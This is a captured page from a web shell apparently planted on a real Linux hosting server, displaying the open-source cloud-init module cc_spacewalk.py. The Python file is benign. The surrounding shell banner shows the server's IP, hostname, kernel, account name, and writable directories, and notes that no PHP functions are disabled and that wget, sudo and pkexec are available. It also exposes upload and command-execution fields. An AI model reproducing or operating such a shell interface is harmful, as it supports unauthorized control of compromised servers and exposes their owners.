- GRAYBYTE UNDETECTABLE CODES -

403Webshell
Server IP : 184.154.167.98  /  Your IP : 18.223.170.253
Web Server : Apache
System : Linux pink.dnsnetservice.com 4.18.0-553.22.1.lve.1.el8.x86_64 #1 SMP Tue Oct 8 15:52:54 UTC 2024 x86_64
User : puertode ( 1767)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3.6/site-packages/cloudinit/config/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3.6/site-packages/cloudinit/config/cc_spacewalk.py
# This file is part of cloud-init. See LICENSE file for license information.
"""Spacewalk: Install and configure spacewalk"""

import logging
from textwrap import dedent

from cloudinit import subp
from cloudinit.cloud import Cloud
from cloudinit.config import Config
from cloudinit.config.schema import MetaSchema, get_meta_doc
from cloudinit.settings import PER_INSTANCE

MODULE_DESCRIPTION = """\
This module installs spacewalk and applies basic configuration. If the
``spacewalk`` config key is present spacewalk will be installed. The server to
connect to after installation must be provided in the ``server`` in spacewalk
configuration. A proxy to connect through and a activation key may optionally
be specified.

For more information about spacewalk see: https://fedorahosted.org/spacewalk/
"""

meta: MetaSchema = {
    "id": "cc_spacewalk",
    "name": "Spacewalk",
    "title": "Install and configure spacewalk",
    "description": MODULE_DESCRIPTION,
    "distros": ["rhel", "fedora", "openeuler"],
    "frequency": PER_INSTANCE,
    "examples": [
        dedent(
            """\
            spacewalk:
              server: <url>
              proxy: <proxy host>
              activation_key: <key>
            """
        )
    ],
    "activate_by_schema_keys": ["spacewalk"],
}

__doc__ = get_meta_doc(meta)
LOG = logging.getLogger(__name__)


distros = ["redhat", "fedora"]
required_packages = ["rhn-setup"]
def_ca_cert_path = "/usr/share/rhn/RHN-ORG-TRUSTED-SSL-CERT"


def is_registered():
    # Check to see if already registered and don't bother; this is
    # apparently done by trying to sync and if that fails then we
    # assume we aren't registered; which is sorta ghetto...
    already_registered = False
    try:
        subp.subp(["rhn-profile-sync", "--verbose"], capture=False)
        already_registered = True
    except subp.ProcessExecutionError as e:
        if e.exit_code != 1:
            raise
    return already_registered


def do_register(
    server,
    profile_name,
    ca_cert_path=def_ca_cert_path,
    proxy=None,
    activation_key=None,
):
    LOG.info(
        "Registering using `rhnreg_ks` profile '%s' into server '%s'",
        profile_name,
        server,
    )
    cmd = ["rhnreg_ks"]
    cmd.extend(["--serverUrl", "https://%s/XMLRPC" % server])
    cmd.extend(["--profilename", str(profile_name)])
    if proxy:
        cmd.extend(["--proxy", str(proxy)])
    if ca_cert_path:
        cmd.extend(["--sslCACert", str(ca_cert_path)])
    if activation_key:
        cmd.extend(["--activationkey", str(activation_key)])
    subp.subp(cmd, capture=False)


def handle(name: str, cfg: Config, cloud: Cloud, args: list) -> None:
    if "spacewalk" not in cfg:
        LOG.debug(
            "Skipping module named %s, no 'spacewalk' key in configuration",
            name,
        )
        return
    cfg = cfg["spacewalk"]
    spacewalk_server = cfg.get("server")
    if spacewalk_server:
        # Need to have this installed before further things will work.
        cloud.distro.install_packages(required_packages)
        if not is_registered():
            do_register(
                spacewalk_server,
                cloud.datasource.get_hostname(fqdn=True).hostname,
                proxy=cfg.get("proxy"),
                activation_key=cfg.get("activation_key"),
            )
    else:
        LOG.debug(
            "Skipping module named %s, 'spacewalk/server' key"
            " was not found in configuration",
            name,
        )

Youez - 2016 - github.com/yon3zu
LinuXploit